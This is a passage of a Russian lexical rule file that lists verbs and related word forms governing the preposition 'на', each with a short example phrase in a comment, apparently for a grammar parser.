rus_verbs:перетаскивать{}, // перетаскивать на рабочий стол
rus_verbs:издаться{}, // издаться на деньги спонсоров
rus_verbs:смещаться{}, // смещаться на несколько миллиметров
rus_verbs:зазывать{}, // зазывать на новогоднюю распродажу
rus_verbs:пикировать{}, // пикировать на окопы
rus_verbs:чертыхаться{}, // чертыхаться на мешающихся детей
rus_verbs:зудить{}, // зудить на ухо
rus_verbs:подразделяться{}, // подразделяться на группы
rus_verbs:изливаться{}, // изливаться на землю
rus_verbs:помочиться{}, // помочиться на траву
rus_verbs:примерять{}, // примерять на себя
rus_verbs:разрядиться{}, // разрядиться на землю
rus_verbs:мотнуться{}, // мотнуться на крышу
rus_verbs:налегать{}, // налегать на весла
rus_verbs:зацокать{}, // зацокать на куриц
rus_verbs:наниматься{}, // наниматься на корабль
rus_verbs:сплевывать{}, // сплевывать на землю
rus_verbs:настучать{}, // настучать на саботажника
rus_verbs:приземляться{}, // приземляться на брюхо
rus_verbs:наталкиваться{}, // наталкиваться на объективные трудности
rus_verbs:посигналить{}, // посигналить нарушителю, выехавшему на встречную полосу
rus_verbs:серчать{}, // серчать на нерасторопную помощницу
rus_verbs:сваливать{}, // сваливать на подоконник
rus_verbs:засобираться{}, // засобираться на работу
rus_verbs:распилить{}, // распилить на одинаковые бруски
//rus_verbs:умножать{}, // умножать на константу
rus_verbs:копировать{}, // копировать на диск
rus_verbs:накрутить{}, // накрутить на руку
rus_verbs:навалить{}, // навалить на телегу
rus_verbs:натолкнуть{}, // натолкнуть на свежую мысль
rus_verbs:шлепаться{}, // шлепаться на бетон
rus_verbs:ухлопать{}, // ухлопать на скупку произведений искусства
rus_verbs:замахиваться{}, // замахиваться на авторитетнейшее мнение
rus_verbs:посягнуть{}, // посягнуть на святое
rus_verbs:разменять{}, // разменять на мелочь
rus_verbs:откатываться{}, // откатываться на заранее подготовленные позиции
rus_verbs:усаживать{}, // усаживать на скамейку
rus_verbs:натаскать{}, // натаскать на поиск наркотиков
rus_verbs:зашикать{}, // зашикать на кошку
rus_verbs:разломать{}, // разломать на равные части
rus_verbs:приглашаться{}, // приглашаться на сцену
rus_verbs:присягать{}, // присягать на верность
rus_verbs:запрограммировать{}, // запрограммировать на постоянную уборку
rus_verbs:расщедриться{}, // расщедриться на новый компьютер
rus_verbs:насесть{}, // насесть на двоечников
rus_verbs:созывать{}, // созывать на собрание
rus_verbs:позариться{}, // позариться на чужое добро
rus_verbs:перекидываться{}, // перекидываться на соседние здания
rus_verbs:наползать{}, // наползать на неповрежденную ткань
rus_verbs:изрубить{}, // изрубить на мелкие кусочки
rus_verbs:наворачиваться{}, // наворачиваться на глаза
rus_verbs:раскричаться{}, // раскричаться на всю округу
rus_verbs:переползти{}, // переползти на светлую сторону
rus_verbs:уполномочить{}, // уполномочить на разведовательную операцию
rus_verbs:мочиться{}, // мочиться на трупы убитых врагов
rus_verbs:радировать{}, // радировать на базу
rus_verbs:промотать{}, // промотать на начало
rus_verbs:заснять{}, // заснять на видео
rus_verbs:подбивать{}, // подбивать на матч-реванш
rus_verbs:наплевать{}, // наплевать на справедливость
rus_verbs:подвывать{}, // подвывать на луну
rus_verbs:расплескать{}, // расплескать на пол
rus_verbs:польститься{}, // польститься на бесплатный сыр
rus_verbs:помчать{}, // помчать на работу
rus_verbs:съезжать{}, // съезжать на обочину
rus_verbs:нашептать{}, // нашептать кому-то на ухо
rus_verbs:наклеить{}, // наклеить на доску объявлений
rus_verbs:завозить{}, // завозить на склад
rus_verbs:заявляться{}, // заявляться на любимую работу
rus_verbs:наглядеться{}, // наглядеться на воробьев
rus_verbs:хлопнуться{}, // хлопнуться на живот
rus_verbs:забредать{}, // забредать на поляну
rus_verbs:посягать{}, // посягать на исконные права собственности
rus_verbs:сдвигать{}, // сдвигать на одну позицию
rus_verbs:спрыгивать{}, // спрыгивать на землю
rus_verbs:сдвигаться{}, // сдвигаться на две позиции
rus_verbs:разделать{}, // разделать на орехи
rus_verbs:разлагать{}, // разлагать на элементарные элементы
rus_verbs:обрушивать{}, // обрушивать на головы врагов
rus_verbs:натечь{}, // натечь на пол
rus_verbs:политься{}, // вода польется на землю
rus_verbs:успеть{}, // Они успеют на поезд.
инфинитив:мигрировать{ вид:несоверш }, глагол:мигрировать{ вид:несоверш },
деепричастие:мигрируя{},
инфинитив:мигрировать{ вид:соверш }, глагол:мигрировать{ вид:соверш },
деепричастие:мигрировав{},
rus_verbs:двинуться{}, // Мы скоро двинемся на дачу.
rus_verbs:подойти{}, // Он не подойдёт на должность секретаря.
rus_verbs:потянуть{}, // Он не потянет на директора.
rus_verbs:тянуть{}, // Он не тянет на директора.
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:жаловаться{}, // Он жалуется на нездоровье.
rus_verbs:издать{}, // издать на деньги спонсоров
rus_verbs:показаться{}, // показаться на глаза
rus_verbs:высаживать{}, // высаживать на необитаемый остров
rus_verbs:вознестись{}, // вознестись на самую вершину славы
rus_verbs:залить{}, // залить на youtube
rus_verbs:закачать{}, // закачать на youtube
rus_verbs:сыграть{}, // сыграть на деньги
rus_verbs:экстраполировать{}, // Формулу можно экстраполировать на случай нескольких переменных
инфинитив:экстраполироваться{ вид:несоверш}, // Ситуация легко экстраполируется на случай нескольких переменных
глагол:экстраполироваться{ вид:несоверш},
инфинитив:экстраполироваться{ вид:соверш},
глагол:экстраполироваться{ вид:соверш},
деепричастие:экстраполируясь{},
инфинитив:акцентировать{вид:соверш}, // оратор акцентировал внимание слушателей на новый аспект проблемы
глагол:акцентировать{вид:соверш},
инфинитив:акцентировать{вид:несоверш},
глагол:акцентировать{вид:несоверш},
прилагательное:акцентировавший{вид:несоверш},
//прилагательное:акцентировавший{вид:соверш},
прилагательное:акцентирующий{},
деепричастие:акцентировав{},
деепричастие:акцентируя{},
rus_verbs:бабахаться{}, // он бабахался на пол
rus_verbs:бабахнуться{}, // мальчил бабахнулся на асфальт
rus_verbs:батрачить{}, // Крестьяне батрачили на хозяина
rus_verbs:бахаться{}, // Наездники бахались на землю
rus_verbs:бахнуться{}, // Наездник опять бахнулся на землю
rus_verbs:благословить{}, // батюшка благословил отрока на подвиг
rus_verbs:благословлять{}, // батюшка благословляет отрока на подвиг
rus_verbs:блевануть{}, // Он блеванул на землю
rus_verbs:блевать{}, // Он блюет на землю
rus_verbs:бухнуться{}, // Наездник бухнулся на землю
rus_verbs:валить{}, // Ветер валил деревья на землю
rus_verbs:спилить{}, // Спиленное дерево валится на землю
rus_verbs:ввезти{}, // Предприятие ввезло товар на таможню
rus_verbs:вдохновить{}, // Фильм вдохновил мальчика на поход в лес
rus_verbs:вдохновиться{}, // Мальчик вдохновился на поход
rus_verbs:вдохновлять{}, // Фильм вдохновляет на поход в лес
rus_verbs:вестись{}, // Не ведись на эти уловки!
rus_verbs:вешать{}, // Гости вешают одежду на вешалку
rus_verbs:вешаться{}, // Одежда вешается на вешалки
rus_verbs:вещать{}, // радиостанция вещает на всю страну
rus_verbs:взбираться{}, // Туристы взбираются на заросший лесом холм
rus_verbs:взбредать{}, // Что иногда взбредает на ум
rus_verbs:взбрести{}, // Что-то взбрело на ум
rus_verbs:взвалить{}, // Мама взвалила на свои плечи всё домашнее хозяйство
rus_verbs:взваливаться{}, // Все домашнее хозяйство взваливается на мамины плечи
rus_verbs:взваливать{}, // Не надо взваливать всё на мои плечи
rus_verbs:взглянуть{}, // Кошка взглянула на мышку
rus_verbs:взгромождать{}, // Мальчик взгромождает стул на стол
rus_verbs:взгромождаться{}, // Мальчик взгромождается на стол
rus_verbs:взгромоздить{}, // Мальчик взгромоздил стул на стол
rus_verbs:взгромоздиться{}, // Мальчик взгромоздился на стул
rus_verbs:взирать{}, // Очевидцы взирали на непонятный объект
rus_verbs:взлетать{}, // Фабрика фейерверков взлетает на воздух
rus_verbs:взлететь{}, // Фабрика фейерверков взлетела на воздух
rus_verbs:взобраться{}, // Туристы взобрались на гору
rus_verbs:взойти{}, // Туристы взошли на гору
rus_verbs:взъесться{}, // Отец взъелся на непутевого сына
rus_verbs:взъяриться{}, // Отец взъярился на непутевого сына
rus_verbs:вкатить{}, // рабочие вкатили бочку на пандус
rus_verbs:вкатывать{}, // рабочик вкатывают бочку на пандус
rus_verbs:влиять{}, // Это решение влияет на всех игроков рынка
rus_verbs:водворить{}, // водворить нарушителя на место
rus_verbs:водвориться{}, // водвориться на свое место
rus_verbs:водворять{}, // водворять вещь на свое место
rus_verbs:водворяться{}, // водворяться на свое место
rus_verbs:водружать{}, // водружать флаг на флагшток
rus_verbs:водружаться{}, // Флаг водружается на флагшток
rus_verbs:водрузить{}, // водрузить флаг на флагшток
rus_verbs:водрузиться{}, // Флаг водрузился на вершину горы
rus_verbs:воздействовать{}, // Излучение воздействует на кожу
rus_verbs:воззреть{}, // воззреть на поле боя
rus_verbs:воззриться{}, // воззриться на поле боя
rus_verbs:возить{}, // возить туристов на гору
rus_verbs:возлагать{}, // Многочисленные посетители возлагают цветы на могилу
rus_verbs:возлагаться{}, // Ответственность возлагается на начальство
rus_verbs:возлечь{}, // возлечь на лежанку
rus_verbs:возложить{}, // возложить цветы на могилу поэта
rus_verbs:вознести{}, // вознести кого-то на вершину славы
rus_verbs:возноситься{}, // возносится на вершину успеха
rus_verbs:возносить{}, // возносить счастливчика на вершину успеха
rus_verbs:подниматься{}, // Мы поднимаемся на восьмой этаж
rus_verbs:подняться{}, // Мы поднялись на восьмой этаж
rus_verbs:вонять{}, // Кусок сыра воняет на всю округу
rus_verbs:воодушевлять{}, // Идеалы воодушевляют на подвиги
rus_verbs:воодушевляться{}, // Люди воодушевляются на подвиги
rus_verbs:ворчать{}, // Старый пес ворчит на прохожих
rus_verbs:воспринимать{}, // воспринимать сообщение на слух
rus_verbs:восприниматься{}, // сообщение плохо воспринимается на слух
rus_verbs:воспринять{}, // воспринять сообщение на слух
rus_verbs:восприняться{}, // восприняться на слух
rus_verbs:воссесть{}, // Коля воссел на трон
rus_verbs:вправить{}, // вправить мозг на место
rus_verbs:вправлять{}, // вправлять мозги на место
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:врубать{}, // врубать на полную мощность
rus_verbs:врубить{}, // врубить на полную мощность
rus_verbs:врубиться{}, // врубиться на полную мощность
rus_verbs:врываться{}, // врываться на собрание
rus_verbs:вскарабкаться{}, // вскарабкаться на утёс
rus_verbs:вскарабкиваться{}, // вскарабкиваться на утёс
rus_verbs:вскочить{}, // вскочить на ноги
rus_verbs:всплывать{}, // всплывать на поверхность воды
rus_verbs:всплыть{}, // всплыть на поверхность воды
rus_verbs:вспрыгивать{}, // вспрыгивать на платформу
rus_verbs:вспрыгнуть{}, // вспрыгнуть на платформу
rus_verbs:встать{}, // встать на защиту чести и достоинства
rus_verbs:вторгаться{}, // вторгаться на чужую территорию
rus_verbs:вторгнуться{}, // вторгнуться на чужую территорию
rus_verbs:въезжать{}, // въезжать на пандус
rus_verbs:наябедничать{}, // наябедничать на соседа по парте
rus_verbs:выблевать{}, // выблевать завтрак на пол
rus_verbs:выблеваться{}, // выблеваться на пол
rus_verbs:выблевывать{}, // выблевывать завтрак на пол
rus_verbs:выблевываться{}, // выблевываться на пол
rus_verbs:вывезти{}, // вывезти мусор на свалку
rus_verbs:вывесить{}, // вывесить белье на просушку
rus_verbs:вывести{}, // вывести собаку на прогулку
rus_verbs:вывешивать{}, // вывешивать белье на веревку
rus_verbs:вывозить{}, // вывозить детей на природу
rus_verbs:вызывать{}, // Начальник вызывает на ковер
rus_verbs:выйти{}, // выйти на свободу
rus_verbs:выкладывать{}, // выкладывать на всеобщее обозрение
rus_verbs:выкладываться{}, // выкладываться на всеобщее обозрение
rus_verbs:выливать{}, // выливать на землю
rus_verbs:выливаться{}, // выливаться на землю
rus_verbs:вылить{}, // вылить жидкость на землю
rus_verbs:вылиться{}, // Топливо вылилось на землю
rus_verbs:выложить{}, // выложить на берег
rus_verbs:выменивать{}, // выменивать золото на хлеб
rus_verbs:вымениваться{}, // Золото выменивается на хлеб
rus_verbs:выменять{}, // выменять золото на хлеб
rus_verbs:выпадать{}, // снег выпадает на землю
rus_verbs:выплевывать{}, // выплевывать на землю
rus_verbs:выплевываться{}, // выплевываться на землю
rus_verbs:выплескать{}, // выплескать на землю
rus_verbs:выплескаться{}, // выплескаться на землю
rus_verbs:выплескивать{}, // выплескивать на землю
rus_verbs:выплескиваться{}, // выплескиваться на землю
rus_verbs:выплывать{}, // выплывать на поверхность
rus_verbs:выплыть{}, // выплыть на поверхность
rus_verbs:выплюнуть{}, // выплюнуть на пол
rus_verbs:выползать{}, // выползать на свежий воздух
rus_verbs:выпроситься{}, // выпроситься на улицу
rus_verbs:выпрыгивать{}, // выпрыгивать на свободу
rus_verbs:выпрыгнуть{}, // выпрыгнуть на перрон
rus_verbs:выпускать{}, // выпускать на свободу
rus_verbs:выпустить{}, // выпустить на свободу
rus_verbs:выпучивать{}, // выпучивать на кого-то глаза
rus_verbs:выпучиваться{}, // глаза выпучиваются на кого-то
rus_verbs:выпучить{}, // выпучить глаза на кого-то
rus_verbs:выпучиться{}, // выпучиться на кого-то
rus_verbs:выронить{}, // выронить на землю
rus_verbs:высадить{}, // высадить на берег
rus_verbs:высадиться{}, // высадиться на берег
rus_verbs:высаживаться{}, // высаживаться на остров
rus_verbs:выскальзывать{}, // выскальзывать на землю
rus_verbs:выскочить{}, // выскочить на сцену
rus_verbs:высморкаться{}, // высморкаться на землю
rus_verbs:высморкнуться{}, // высморкнуться на землю
rus_verbs:выставить{}, // выставить на всеобщее обозрение
rus_verbs:выставиться{}, // выставиться на всеобщее обозрение
rus_verbs:выставлять{}, // выставлять на всеобщее обозрение
rus_verbs:выставляться{}, // выставляться на всеобщее обозрение
инфинитив:высыпать{вид:соверш}, // высыпать на землю
инфинитив:высыпать{вид:несоверш},
глагол:высыпать{вид:соверш},
глагол:высыпать{вид:несоверш},
деепричастие:высыпав{},
деепричастие:высыпая{},
прилагательное:высыпавший{вид:соверш},
//++прилагательное:высыпавший{вид:несоверш},
прилагательное:высыпающий{вид:несоверш},
rus_verbs:высыпаться{}, // высыпаться на землю
rus_verbs:вытаращивать{}, // вытаращивать глаза на медведя
rus_verbs:вытаращиваться{}, // вытаращиваться на медведя
rus_verbs:вытаращить{}, // вытаращить глаза на медведя
rus_verbs:вытаращиться{}, // вытаращиться на медведя
rus_verbs:вытекать{}, // вытекать на землю
rus_verbs:вытечь{}, // вытечь на землю
rus_verbs:выучиваться{}, // выучиваться на кого-то
rus_verbs:выучиться{}, // выучиться на кого-то
rus_verbs:посмотреть{}, // посмотреть на экран
rus_verbs:нашить{}, // нашить что-то на одежду
rus_verbs:придти{}, // придти на помощь кому-то
инфинитив:прийти{}, // прийти на помощь кому-то
глагол:прийти{},
деепричастие:придя{}, // Придя на вокзал, он поспешно взял билеты.
rus_verbs:поднять{}, // поднять на вершину
rus_verbs:согласиться{}, // согласиться на ничью
rus_verbs:послать{}, // послать на фронт
rus_verbs:слать{}, // слать на фронт
rus_verbs:надеяться{}, // надеяться на лучшее
rus_verbs:крикнуть{}, // крикнуть на шалунов
rus_verbs:пройти{}, // пройти на пляж
rus_verbs:прислать{}, // прислать на экспертизу
rus_verbs:жить{}, // жить на подачки
rus_verbs:становиться{}, // становиться на ноги
rus_verbs:наслать{}, // наслать на кого-то
rus_verbs:принять{}, // принять на заметку
rus_verbs:собираться{}, // собираться на экзамен
rus_verbs:оставить{}, // оставить на всякий случай
rus_verbs:звать{}, // звать на помощь
rus_verbs:направиться{}, // направиться на прогулку
rus_verbs:отвечать{}, // отвечать на звонки
rus_verbs:отправиться{}, // отправиться на прогулку
rus_verbs:поставить{}, // поставить на пол
rus_verbs:обернуться{}, // обернуться на зов
rus_verbs:отозваться{}, // отозваться на просьбу
rus_verbs:закричать{}, // закричать на собаку
rus_verbs:опустить{}, // опустить на землю
rus_verbs:принести{}, // принести на пляж свой жезлонг
rus_verbs:указать{}, // указать на дверь
rus_verbs:ходить{}, // ходить на занятия
rus_verbs:уставиться{}, // уставиться на листок
rus_verbs:приходить{}, // приходить на экзамен
rus_verbs:махнуть{}, // махнуть на пляж
rus_verbs:явиться{}, // явиться на допрос
rus_verbs:оглянуться{}, // оглянуться на дорогу
rus_verbs:уехать{}, // уехать на заработки
rus_verbs:повести{}, // повести на штурм
rus_verbs:опуститься{}, // опуститься на колени
//rus_verbs:передать{}, // передать на проверку
rus_verbs:побежать{}, // побежать на занятия
rus_verbs:прибыть{}, // прибыть на место службы
rus_verbs:кричать{}, // кричать на медведя
rus_verbs:стечь{}, // стечь на землю
rus_verbs:обратить{}, // обратить на себя внимание
rus_verbs:подать{}, // подать на пропитание
rus_verbs:привести{}, // привести на съемки
rus_verbs:испытывать{}, // испытывать на животных
rus_verbs:перевести{}, // перевести на жену
rus_verbs:купить{}, // купить на заемные деньги
rus_verbs:собраться{}, // собраться на встречу
rus_verbs:заглянуть{}, // заглянуть на огонёк
rus_verbs:нажать{}, // нажать на рычаг
rus_verbs:поспешить{}, // поспешить на праздник
rus_verbs:перейти{}, // перейти на русский язык
rus_verbs:поверить{}, // поверить на честное слово
rus_verbs:глянуть{}, // глянуть на обложку
rus_verbs:зайти{}, // зайти на огонёк
rus_verbs:проходить{}, // проходить на сцену
rus_verbs:глядеть{}, // глядеть на актрису
//rus_verbs:решиться{}, // решиться на прыжок
rus_verbs:пригласить{}, // пригласить на танец
rus_verbs:позвать{}, // позвать на экзамен
rus_verbs:усесться{}, // усесться на стул
rus_verbs:поступить{}, // поступить на математический факультет
rus_verbs:лечь{}, // лечь на живот
rus_verbs:потянуться{}, // потянуться на юг
rus_verbs:присесть{}, // присесть на корточки
rus_verbs:наступить{}, // наступить на змею
rus_verbs:заорать{}, // заорать на попрошаек
rus_verbs:надеть{}, // надеть на голову
rus_verbs:поглядеть{}, // поглядеть на девчонок
rus_verbs:принимать{}, // принимать на гарантийное обслуживание
rus_verbs:привезти{}, // привезти на испытания
rus_verbs:рухнуть{}, // рухнуть на асфальт
rus_verbs:пускать{}, // пускать на корм
rus_verbs:отвести{}, // отвести на приём
rus_verbs:отправить{}, // отправить на утилизацию
rus_verbs:двигаться{}, // двигаться на восток
rus_verbs:нести{}, // нести на пляж
rus_verbs:падать{}, // падать на руки
rus_verbs:откинуться{}, // откинуться на спинку кресла
rus_verbs:рявкнуть{}, // рявкнуть на детей
rus_verbs:получать{}, // получать на проживание
rus_verbs:полезть{}, // полезть на рожон
rus_verbs:направить{}, // направить на дообследование
rus_verbs:приводить{}, // приводить на проверку
rus_verbs:потребоваться{}, // потребоваться на замену
rus_verbs:кинуться{}, // кинуться на нападавшего
rus_verbs:учиться{}, // учиться на токаря
rus_verbs:приподнять{}, // приподнять на один метр
rus_verbs:налить{}, // налить на стол
rus_verbs:играть{}, // играть на деньги
rus_verbs:рассчитывать{}, // рассчитывать на подмогу
rus_verbs:шепнуть{}, // шепнуть на ухо
rus_verbs:швырнуть{}, // швырнуть на землю
rus_verbs:прыгнуть{}, // прыгнуть на оленя
rus_verbs:предлагать{}, // предлагать на выбор
rus_verbs:садиться{}, // садиться на стул
rus_verbs:лить{}, // лить на землю
rus_verbs:испытать{}, // испытать на животных
rus_verbs:фыркнуть{}, // фыркнуть на детеныша
rus_verbs:годиться{}, // мясо годится на фарш
rus_verbs:проверить{}, // проверить высказывание на истинность
rus_verbs:откликнуться{}, // откликнуться на призывы
rus_verbs:полагаться{}, // полагаться на интуицию
rus_verbs:покоситься{}, // покоситься на соседа
rus_verbs:повесить{}, // повесить на гвоздь
инфинитив:походить{вид:соверш}, // походить на занятия
глагол:походить{вид:соверш},
деепричастие:походив{},
прилагательное:походивший{},
rus_verbs:помчаться{}, // помчаться на экзамен
rus_verbs:ставить{}, // ставить на контроль
rus_verbs:свалиться{}, // свалиться на землю
rus_verbs:валиться{}, // валиться на землю
rus_verbs:подарить{}, // подарить на день рожденья
rus_verbs:сбежать{}, // сбежать на необитаемый остров
rus_verbs:стрелять{}, // стрелять на поражение
rus_verbs:обращать{}, // обращать на себя внимание
rus_verbs:наступать{}, // наступать на те же грабли
rus_verbs:сбросить{}, // сбросить на землю
rus_verbs:обидеться{}, // обидеться на друга
rus_verbs:устроиться{}, // устроиться на стажировку
rus_verbs:погрузиться{}, // погрузиться на большую глубину
rus_verbs:течь{}, // течь на землю
rus_verbs:отбросить{}, // отбросить на землю
rus_verbs:метать{}, // метать на дно
rus_verbs:пустить{}, // пустить на переплавку
rus_verbs:прожить{}, // прожить на пособие
rus_verbs:полететь{}, // полететь на континент
rus_verbs:пропустить{}, // пропустить на сцену
rus_verbs:указывать{}, // указывать на ошибку
rus_verbs:наткнуться{}, // наткнуться на клад
rus_verbs:рвануть{}, // рвануть на юг
rus_verbs:ступать{}, // ступать на землю
rus_verbs:спрыгнуть{}, // спрыгнуть на берег
rus_verbs:заходить{}, // заходить на огонёк
rus_verbs:нырнуть{}, // нырнуть на глубину
rus_verbs:рвануться{}, // рвануться на свободу
rus_verbs:натянуть{}, // натянуть на голову
rus_verbs:забраться{}, // забраться на стол
rus_verbs:помахать{}, // помахать на прощание
rus_verbs:содержать{}, // содержать на спонсорскую помощь
rus_verbs:приезжать{}, // приезжать на праздники
rus_verbs:проникнуть{}, // проникнуть на территорию
rus_verbs:подъехать{}, // подъехать на митинг
rus_verbs:устремиться{}, // устремиться на волю
rus_verbs:посадить{}, // посадить на стул
rus_verbs:ринуться{}, // ринуться на голкипера
rus_verbs:подвигнуть{}, // подвигнуть на подвиг
rus_verbs:отдавать{}, // отдавать на перевоспитание
rus_verbs:отложить{}, // отложить на черный день
rus_verbs:убежать{}, // убежать на танцы
rus_verbs:поднимать{}, // поднимать на верхний этаж
rus_verbs:переходить{}, // переходить на цифровой сигнал
rus_verbs:отослать{}, // отослать на переаттестацию
rus_verbs:отодвинуть{}, // отодвинуть на другую половину стола
rus_verbs:назначить{}, // назначить на должность
rus_verbs:осесть{}, // осесть на дно
rus_verbs:торопиться{}, // торопиться на экзамен
rus_verbs:менять{}, // менять на еду
rus_verbs:доставить{}, // доставить на шестой этаж
rus_verbs:заслать{}, // заслать на проверку
rus_verbs:дуть{}, // дуть на воду
rus_verbs:сослать{}, // сослать на каторгу
rus_verbs:останавливаться{}, // останавливаться на отдых
rus_verbs:сдаваться{}, // сдаваться на милость победителя
rus_verbs:сослаться{}, // сослаться на презумпцию невиновности
rus_verbs:рассердиться{}, // рассердиться на дочь
rus_verbs:кинуть{}, // кинуть на землю
rus_verbs:расположиться{}, // расположиться на ночлег
rus_verbs:осмелиться{}, // осмелиться на подлог
rus_verbs:шептать{}, // шептать на ушко
rus_verbs:уронить{}, // уронить на землю
rus_verbs:откинуть{}, // откинуть на спинку кресла
rus_verbs:перенести{}, // перенести на рабочий стол
rus_verbs:сдаться{}, // сдаться на милость победителя
rus_verbs:светить{}, // светить на дорогу
rus_verbs:мчаться{}, // мчаться на бал
rus_verbs:нестись{}, // нестись на свидание
rus_verbs:поглядывать{}, // поглядывать на экран
rus_verbs:орать{}, // орать на детей
rus_verbs:уложить{}, // уложить на лопатки
rus_verbs:решаться{}, // решаться на поступок
rus_verbs:попадать{}, // попадать на карандаш
rus_verbs:сплюнуть{}, // сплюнуть на землю
rus_verbs:снимать{}, // снимать на телефон
rus_verbs:опоздать{}, // опоздать на работу
rus_verbs:посылать{}, // посылать на проверку
rus_verbs:погнать{}, // погнать на пастбище
rus_verbs:поступать{}, // поступать на кибернетический факультет
rus_verbs:спускаться{}, // спускаться на уровень моря
rus_verbs:усадить{}, // усадить на диван
rus_verbs:проиграть{}, // проиграть на спор
rus_verbs:прилететь{}, // прилететь на фестиваль
rus_verbs:повалиться{}, // повалиться на спину
rus_verbs:огрызнуться{}, // Собака огрызнулась на хозяина
rus_verbs:задавать{}, // задавать на выходные
rus_verbs:запасть{}, // запасть на девочку
rus_verbs:лезть{}, // лезть на забор
rus_verbs:потащить{}, // потащить на выборы
rus_verbs:направляться{}, // направляться на экзамен
rus_verbs:определять{}, // определять на вкус
rus_verbs:поползти{}, // поползти на стену
rus_verbs:поплыть{}, // поплыть на берег
rus_verbs:залезть{}, // залезть на яблоню
rus_verbs:сдать{}, // сдать на мясокомбинат
rus_verbs:приземлиться{}, // приземлиться на дорогу
rus_verbs:лаять{}, // лаять на прохожих
rus_verbs:перевернуть{}, // перевернуть на бок
rus_verbs:ловить{}, // ловить на живца
rus_verbs:отнести{}, // отнести животное на хирургический стол
rus_verbs:плюнуть{}, // плюнуть на условности
rus_verbs:передавать{}, // передавать на проверку
rus_verbs:нанять{}, // Босс нанял на работу еще несколько человек
rus_verbs:разозлиться{}, // Папа разозлился на сына из-за плохих оценок по математике
инфинитив:рассыпаться{вид:несоверш}, // рассыпаться на мелкие детали
инфинитив:рассыпаться{вид:соверш},
глагол:рассыпаться{вид:несоверш},
глагол:рассыпаться{вид:соверш},
деепричастие:рассыпавшись{},
деепричастие:рассыпаясь{},
прилагательное:рассыпавшийся{вид:несоверш},
прилагательное:рассыпавшийся{вид:соверш},
прилагательное:рассыпающийся{},
rus_verbs:зарычать{}, // Медведица зарычала на медвежонка
rus_verbs:призвать{}, // призвать на сборы
rus_verbs:увезти{}, // увезти на дачу
rus_verbs:содержаться{}, // содержаться на пожертвования
rus_verbs:навести{}, // навести на скопление телескоп
rus_verbs:отправляться{}, // отправляться на утилизацию
rus_verbs:улечься{}, // улечься на животик
rus_verbs:налететь{}, // налететь на препятствие
rus_verbs:перевернуться{}, // перевернуться на спину
rus_verbs:улететь{}, // улететь на родину
rus_verbs:ложиться{}, // ложиться на бок
rus_verbs:класть{}, // класть на место
rus_verbs:отреагировать{}, // отреагировать на выступление
rus_verbs:доставлять{}, // доставлять на дом
rus_verbs:отнять{}, // отнять на благо правящей верхушки
rus_verbs:ступить{}, // ступить на землю
rus_verbs:сводить{}, // сводить на концерт знаменитой рок-группы
rus_verbs:унести{}, // унести на работу
rus_verbs:сходить{}, // сходить на концерт
rus_verbs:потратить{}, // потратить на корм и наполнитель для туалета все деньги
rus_verbs:соскочить{}, // соскочить на землю
rus_verbs:пожаловаться{}, // пожаловаться на соседей
rus_verbs:тащить{}, // тащить на замену
rus_verbs:замахать{}, // замахать руками на паренька
rus_verbs:заглядывать{}, // заглядывать на обед
rus_verbs:соглашаться{}, // соглашаться на равный обмен
rus_verbs:плюхнуться{}, // плюхнуться на мягкий пуфик
rus_verbs:увести{}, // увести на осмотр
rus_verbs:успевать{}, // успевать на контрольную работу
rus_verbs:опрокинуть{}, // опрокинуть на себя
rus_verbs:подавать{}, // подавать на апелляцию
rus_verbs:прибежать{}, // прибежать на вокзал
rus_verbs:отшвырнуть{}, // отшвырнуть на замлю
rus_verbs:привлекать{}, // привлекать на свою сторону
rus_verbs:опереться{}, // опереться на палку
rus_verbs:перебраться{}, // перебраться на маленький островок
rus_verbs:уговорить{}, // уговорить на новые траты
rus_verbs:гулять{}, // гулять на спонсорские деньги
rus_verbs:переводить{}, // переводить на другой путь
rus_verbs:заколебаться{}, // заколебаться на один миг
rus_verbs:зашептать{}, // зашептать на ушко
rus_verbs:привстать{}, // привстать на цыпочки
rus_verbs:хлынуть{}, // хлынуть на берег
rus_verbs:наброситься{}, // наброситься на еду
rus_verbs:напасть{}, // повстанцы, напавшие на конвой
rus_verbs:убрать{}, // книга, убранная на полку
rus_verbs:попасть{}, // путешественники, попавшие на ничейную территорию
rus_verbs:засматриваться{}, // засматриваться на девчонок
rus_verbs:застегнуться{}, // застегнуться на все пуговицы
rus_verbs:провериться{}, // провериться на заболевания
rus_verbs:проверяться{}, // проверяться на заболевания
rus_verbs:тестировать{}, // тестировать на профпригодность
rus_verbs:протестировать{}, // протестировать на профпригодность
rus_verbs:уходить{}, // отец, уходящий на работу
rus_verbs:налипнуть{}, // снег, налипший на провода
rus_verbs:налипать{}, // снег, налипающий на провода
rus_verbs:улетать{}, // Многие птицы улетают осенью на юг.
rus_verbs:поехать{}, // она поехала на встречу с заказчиком
rus_verbs:переключать{}, // переключать на резервную линию
rus_verbs:переключаться{}, // переключаться на резервную линию
rus_verbs:подписаться{}, // подписаться на обновление
rus_verbs:нанести{}, // нанести на кожу
rus_verbs:нарываться{}, // нарываться на неприятности
rus_verbs:выводить{}, // выводить на орбиту
rus_verbs:вернуться{}, // вернуться на родину
rus_verbs:возвращаться{}, // возвращаться на родину
прилагательное:падкий{}, // Он падок на деньги.
прилагательное:обиженный{}, // Он обижен на отца.
rus_verbs:косить{}, // Он косит на оба глаза.
rus_verbs:закрыть{}, // Он забыл закрыть дверь на замок.
прилагательное:готовый{}, // Он готов на всякие жертвы.
rus_verbs:говорить{}, // Он говорит на скользкую тему.
прилагательное:глухой{}, // Он глух на одно ухо.
rus_verbs:взять{}, // Он взял ребёнка себе на колени.
rus_verbs:оказывать{}, // Лекарство не оказывало на него никакого действия.
rus_verbs:вести{}, // Лестница ведёт на третий этаж.
rus_verbs:уполномочивать{}, // уполномочивать на что-либо
глагол:спешить{ вид:несоверш }, // Я спешу на поезд.
rus_verbs:брать{}, // Я беру всю ответственность на себя.
rus_verbs:произвести{}, // Это произвело на меня глубокое впечатление.
rus_verbs:употребить{}, // Эти деньги можно употребить на ремонт фабрики.
rus_verbs:наводить{}, // Эта песня наводит на меня сон и скуку.
rus_verbs:разбираться{}, // Эта машина разбирается на части.
rus_verbs:оказать{}, // Эта книга оказала на меня большое влияние.
rus_verbs:разбить{}, // Учитель разбил учеников на несколько групп.
rus_verbs:отразиться{}, // Усиленная работа отразилась на его здоровье.
rus_verbs:перегрузить{}, // Уголь надо перегрузить на другое судно.
rus_verbs:делиться{}, // Тридцать делится на пять без остатка.
rus_verbs:удаляться{}, // Суд удаляется на совещание.
